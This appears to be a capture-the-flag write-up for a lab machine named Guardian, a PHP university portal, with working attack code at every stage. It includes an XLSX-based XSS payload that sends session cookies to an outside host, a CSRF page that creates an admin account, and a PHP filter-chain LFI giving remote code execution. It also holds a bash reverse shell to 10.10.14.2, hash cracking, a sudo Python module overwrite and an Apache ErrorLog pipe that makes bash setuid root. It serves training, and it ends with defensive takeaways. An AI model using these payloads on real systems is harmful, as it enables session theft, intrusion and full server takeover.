Guardian - Writeup
Reconnaissance
Port Scan
Nmap reveals two open ports:
- 22/tcp - SSH
- 80/tcp - HTTP (Apache 2.4.52)
Service Identification
Port 80 hosts Guardian University Portal - a PHP university management platform with role-based access (student, lecturer, admin). Features include assignment submissions, grading, a notice board, chat, and report generation.
The main landing page lists 3 Student IDs:
GU0142023@guardian.htbGU6262023@guardian.htbGU0702025@guardian.htb
The login page includes a Portal Guide which mentions the default password GU1234. Testing this against the listed student IDs:
# Valid login
GU0142023:GU1234
IDOR in Chat → Gitea Credentials
After logging in as a student, the Chats section reveals an IDOR vulnerability. The chat_users parameters are directly controllable via URL:
http://portal.guardian.htb/student/chat.php?chat_users[0]=13&chat_users[1]=14
By iterating through user IDs, we can read any conversation on the platform. The chat between users 1 and 2 contains Gitea credentials:
http://portal.guardian.htb/student/chat.php?chat_users[0]=1&chat_users[1]=2
Credentials found: jamil:DHsNnk3V503
Source Code via Gitea
A Gitea instance runs on gitea.guardian.htb. Logging in with the leaked credentials reveals a repository containing the full source code of the Guardian portal:
| File | Purpose |
|---|---|
config/config.php | DB creds: root:Gu4rd14n_un1_1s_th3_b3st, salt: 8Sb)tM1vs1SS |
lecturer/view-submission.php | PhpSpreadsheet/PhpWord HTML rendering (XSS) |
lecturer/notices/create.php | Notice creation with reference_link (CSRF vector) |
admin/reports.php | include() with regex filter (LFI) |
config/csrf-tokens.php | Global token pool, never invalidated |
Key libraries: PhpSpreadsheet v3.7.0 and PhpWord.
Credentials Summary
| User | Password | Source | Access |
|---|---|---|---|
| GU0142023 | GU1234 | Portal Guide (default) | Student panel |
| jamil | DHsNnk3V503 | IDOR chat leak | Gitea (source code) |
Initial Access - XSS via PhpSpreadsheet Sheet Name
Source Code Analysis
The lecturer/view-submission.php processes uploaded .xlsx files using PhpSpreadsheet's HTML writer:
$spreadsheet = IOFactory::load($filePath);
$writer = new \PhpOffice\PhpSpreadsheet\Writer\Html($spreadsheet);
$writer->save('php://output');
The HTML writer renders sheet names directly into the output as tab navigation elements without sanitization. By crafting an XLSX with a malicious sheet name, we achieve stored XSS when a lecturer views the submission.
Exploitation
Note: openpyxl blocks special characters (like :) in sheet names. The workaround is to create a valid XLSX first, then modify the xl/workbook.xml inside the ZIP using xml.etree - the XML naturally entity-encodes <> characters, and PhpSpreadsheet decodes them back when rendering the HTML output:
import zipfile, os
from xml.etree import ElementTree as ET
PAYLOAD = "<script>fetch('http://10.10.14.2:8000/steal?c='+document.cookie)</script>"
# 1. Create a base XLSX with two sheets
from openpyxl import Workbook
wb = Workbook()
ws1 = wb.active
ws1.title = "Sheet1"
ws1['A1'] = "Data"
ws2 = wb.create_sheet("REPLACE_ME")
ws2['A1'] = "Data"
wb.save("base.xlsx")
# 2. Patch the sheet name in workbook.xml via XML parser
# (xml.etree will entity-encode <> automatically → <script>)
with zipfile.ZipFile("base.xlsx", "r") as zin:
with zipfile.ZipFile("xss_sheetname.xlsx", "w") as zout:
for item in zin.infolist():
data = zin.read(item.filename)
if item.filename == "xl/workbook.xml":
ns = "http://schemas.openxmlformats.org/spreadsheetml/2006/main"
ET.register_namespace("", ns)
ET.register_namespace("r", "http://schemas.openxmlformats.org/officeDocument/2006/relationships")
root = ET.fromstring(data)
for sheet in root.iter(f"{{{ns}}}sheet"):
if sheet.get("name") == "REPLACE_ME":
sheet.set("name", PAYLOAD)
data = ET.tostring(root, xml_declaration=True, encoding="UTF-8")
zout.writestr(item, data)
os.remove("base.xlsx")
print("[+] Created xss_sheetname.xlsx")
Upload this as a student submission. When the lecturer views the submission, PhpSpreadsheet's HTML writer renders the sheet name as a tab label without escaping, causing the XSS to fire and exfiltrate the session cookie:
python3 -m http.server 8000
# GET /steal?c=PHPSESSID%3Dgq1s4a2eisec4rjvllm7mrjk3m
Lecturer session obtained.
Privilege Escalation - Lecturer to Admin via CSRF
Weak CSRF Token System
The portal's CSRF implementation has a critical flaw in config/csrf-tokens.php:
- Tokens are stored in a shared JSON file (
csrf_tokens.json) - Tokens are never removed after use
- A token generated by any user is valid for any form (including admin endpoints)
This means a CSRF token obtained from the lecturer's notice creation page is valid for the admin's createuser.php endpoint.
Attack Chain
With the lecturer session, we create a notice pointing the admin bot to a CSRF page hosted on our server:
# 1. Get CSRF token (valid globally)
TOKEN=$(curl -s -b 'PHPSESSID=LECTURER_SESSION' \
'http://portal.guardian.htb/lecturer/notices/create.php' \
| grep -oP 'csrf_token" value="\K[^"]+')
# 2. Host CSRF payload that auto-creates an admin account
cat > pwn.html << 'EOF'
<html><body>
<form id="csrf" method="POST" action="http://portal.guardian.htb/admin/createuser.php">
<input name="username" value="hackeradmin"/>
<input name="password" value="Hacked123!"/>
<input name="full_name" value="System Admin"/>
<input name="email" value="admin@guardian.htb"/>
<input name="dob" value="1990-01-01"/>
<input name="address" value="Campus"/>
<input name="user_role" value="admin"/>
<input name="csrf_token" value="TOKEN_HERE"/>
</form>
<script>document.getElementById('csrf').submit();</script>
</body></html>
EOF
python3 -m http.server 8000
# 3. Create notice with reference_link pointing to our CSRF page
# (bypass HTML type="url" validation by using curl directly)
curl -X POST 'http://portal.guardian.htb/lecturer/notices/create.php' \
-b 'PHPSESSID=LECTURER_SESSION' \
-d "title=Updated+Guidelines&content=Review+needed" \
-d "reference_link=http://10.10.14.2:8000/pwn.html" \
-d "csrf_token=$TOKEN"
The admin bot visits the reference URL → the CSRF form auto-submits → new admin account hackeradmin:Hacked123! created.
RCE - LFI via PHP Filter Chain
admin/reports.php Analysis
The admin reports page uses include() with two guards:
$report = $_GET['report'] ?? 'reports/academic.php';
if (strpos($report, '..') !== false) {
die("Malicious request blocked");
}
if (!preg_match('/^(.*(enrollment|academic|financial|system)\.php)$/', $report)) {
die("Access denied. Invalid file");
}
include($report);
Constraints:
- No
..allowed in the path - Must end with
enrollment.php,academic.php,financial.php, orsystem.php
PHP Filter Chain Bypass
The php://filter wrapper with chained convert.iconv filters can generate arbitrary PHP code from scratch. The php_filter_chain_generator tool automates this:
git clone https://github.com/synacktiv/php_filter_chain_generator.git
CHAIN=$(python3 php_filter_chain_generator.py \
--chain '<?php system($_GET["cmd"]); ?>' \
| grep '^php' | sed 's|php://temp|reports/enrollment.php|')
The generated chain:
- ✅ Ends with
reports/enrollment.php(matches regex) - ✅ Contains no
..(iconv encoding names use single dots) - ✅ Generates arbitrary PHP code via filter transformations
# Test RCE
curl -b 'PHPSESSID=ADMIN_SESSION' \
"http://portal.guardian.htb/admin/reports.php?report=$CHAIN&cmd=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
# Reverse shell - start listener first: nc -nlvp 4444
curl -b 'PHPSESSID=ADMIN_SESSION' \
"http://portal.guardian.htb/admin/reports.php?report=$CHAIN&cmd=bash+-c+'bash+-i+>%26+/dev/tcp/10.10.14.2/4444+0>%261'"
Shell as www-data.
Lateral Movement - Database Hash Cracking → SSH
Database Dump
Using the DB credentials from config.php:
mysql -u root -p'Gu4rd14n_un1_1s_th3_b3st' guardiandb \
-e "SELECT username, password_hash, user_role FROM users;"
Hashes are SHA256($password.$salt) with salt 8Sb)tM1vs1SS. Cracking with John:
john hashes.txt --wordlist=rockyou.txt --format='dynamic=sha256($p.$s)'
# admin:fakebake000
# jamil.enockson:copperhouse56
ssh jamil@portal.guardian.htb # password: copperhouse56
Privilege Escalation 1 - jamil → mark (Python Module Overwrite)
sudo Enumeration
jamil@guardian:~$ sudo -l
User jamil may run the following commands on guardian:
(mark) NOPASSWD: /opt/scripts/utilities/utilities.py
utilities.py Analysis
The script imports from a local utils package:
from utils import db, attachments, logs, status
Checking permissions on the utils/ directory:
| File | Permissions | Owner |
|---|---|---|
status.py | -rwxrwx--- | mark:admins |
db.py | -rw-r----- | root:admins |
| others | -rw-r----- | root:admins |
The status.py file is group-writable and jamil is in the admins group. The system-status action calls status.system_status() without any user check.
Exploitation
echo 'import os; os.system("bash -i")' > /opt/scripts/utilities/utils/status.py
sudo -u mark /opt/scripts/utilities/utilities.py system-status
mark@guardian:~$ id
uid=1001(mark) gid=1001(mark) groups=1001(mark),1003(admins)
Privilege Escalation 2 - mark → root (Apache Config Case-Sensitivity Bypass)
sudo Enumeration
mark@guardian:~$ sudo -l
User mark may run the following commands on guardian:
(ALL) NOPASSWD: /usr/local/bin/safeapache2ctl
Binary Analysis
safeapache2ctl is a custom wrapper that:
- Requires config files to be inside
/home/mark/confs/ - Reads the config and blocks
Include,IncludeOptional,LoadModuledirectives - Passes the validated config to
/usr/sbin/apache2ctl
strings /usr/local/bin/safeapache2ctl
...
Include
IncludeOptional
LoadModule
/home/mark/confs/
Blocked: Config includes unsafe directive.
The Bypass - Case Sensitivity
The binary checks for directives using strncmp - a case-sensitive comparison. But Apache's config parser is case-insensitive. Writing loadmodule (lowercase) bypasses the filter while Apache processes it normally.
The ErrorLog directive with a pipe (|command) executes the command as root during Apache startup.
Exploitation
cat > /home/mark/confs/evil.conf << 'CONF'
ServerRoot "/etc/apache2"
loadmodule mpm_prefork_module /usr/lib/apache2/modules/mod_mpm_prefork.so
loadmodule authz_core_module /usr/lib/apache2/modules/mod_authz_core.so
ServerName localhost
Mutex file:/tmp default
PidFile /tmp/evil.pid
Listen 8889
ErrorLog "|/bin/chmod u+s /bin/bash"
LogFormat "%h" common
DocumentRoot /tmp
CONF
sudo /usr/local/bin/safeapache2ctl -f /home/mark/confs/evil.conf
bash -p
# uid=1001(mark) gid=1001(mark) euid=0(root) egid=0(root)
cat /root/root.txt
Attack Chain Summary
Port 80 (Guardian University Portal)
│
├─ Source code analysis → config.php (DB creds, salt)
│ └─ PhpSpreadsheet HTML writer: sheet names unsanitized
│
├─ XSS via XLSX sheet name → lecturer cookie stolen
│ └─ CSRF tokens are global and never expire
│ └─ Notice reference_link → admin bot visits CSRF page
│ └─ Auto-creates admin account (hackeradmin)
│
├─ Admin LFI in reports.php (include with regex filter)
│ └─ PHP filter chain generator → bypass regex + no ".."
│ └─ RCE as www-data → reverse shell
│
├─ MySQL dump → SHA256($pass.$salt) → john cracking
│ └─ jamil.enockson:copperhouse56 → SSH as jamil
│
├─ sudo (mark) utilities.py → utils/status.py is group-writable
│ └─ Overwrite status.py → shell as mark
│
└─ sudo (ALL) safeapache2ctl → case-sensitive directive filter
└─ "loadmodule" bypasses "LoadModule" check
└─ ErrorLog pipe → chmod u+s /bin/bash → root
Key Takeaways
- PhpSpreadsheet HTML writer renders sheet names without sanitization - any user-controlled metadata in Office files should be treated as untrusted
- CSRF tokens must be scoped and expired - a global, persistent token pool means any authenticated user's token can target any endpoint
- PHP filter chains bypass path-based restrictions on
include()- regex filters on filenames are insufficient; use allowlists of exact paths instead - Python module hijacking via writable files in the import path is a common sudo privesc vector - ensure all imported modules have restrictive permissions
- Case-sensitive security checks on case-insensitive systems (Apache directives, Windows paths, SQL keywords) create bypass opportunities - always normalize case before validation
On this page
- Reconnaissance
- Port Scan
- Service Identification
- IDOR in Chat → Gitea Credentials
- Source Code via Gitea
- Credentials Summary
- Initial Access - XSS via PhpSpreadsheet Sheet Name
- Source Code Analysis
- Exploitation
- Privilege Escalation - Lecturer to Admin via CSRF
- Weak CSRF Token System
- Attack Chain
- RCE - LFI via PHP Filter Chain
- admin/reports.php Analysis
- PHP Filter Chain Bypass
- Lateral Movement - Database Hash Cracking → SSH
- Database Dump
- Privilege Escalation 1 - jamil → mark (Python Module Overwrite)
- sudo Enumeration
- utilities.py Analysis
- Exploitation
- Privilege Escalation 2 - mark → root (Apache Config Case-Sensitivity Bypass)
- sudo Enumeration
- Binary Analysis
- The Bypass - Case Sensitivity
- Exploitation
- Attack Chain Summary
- Key Takeaways
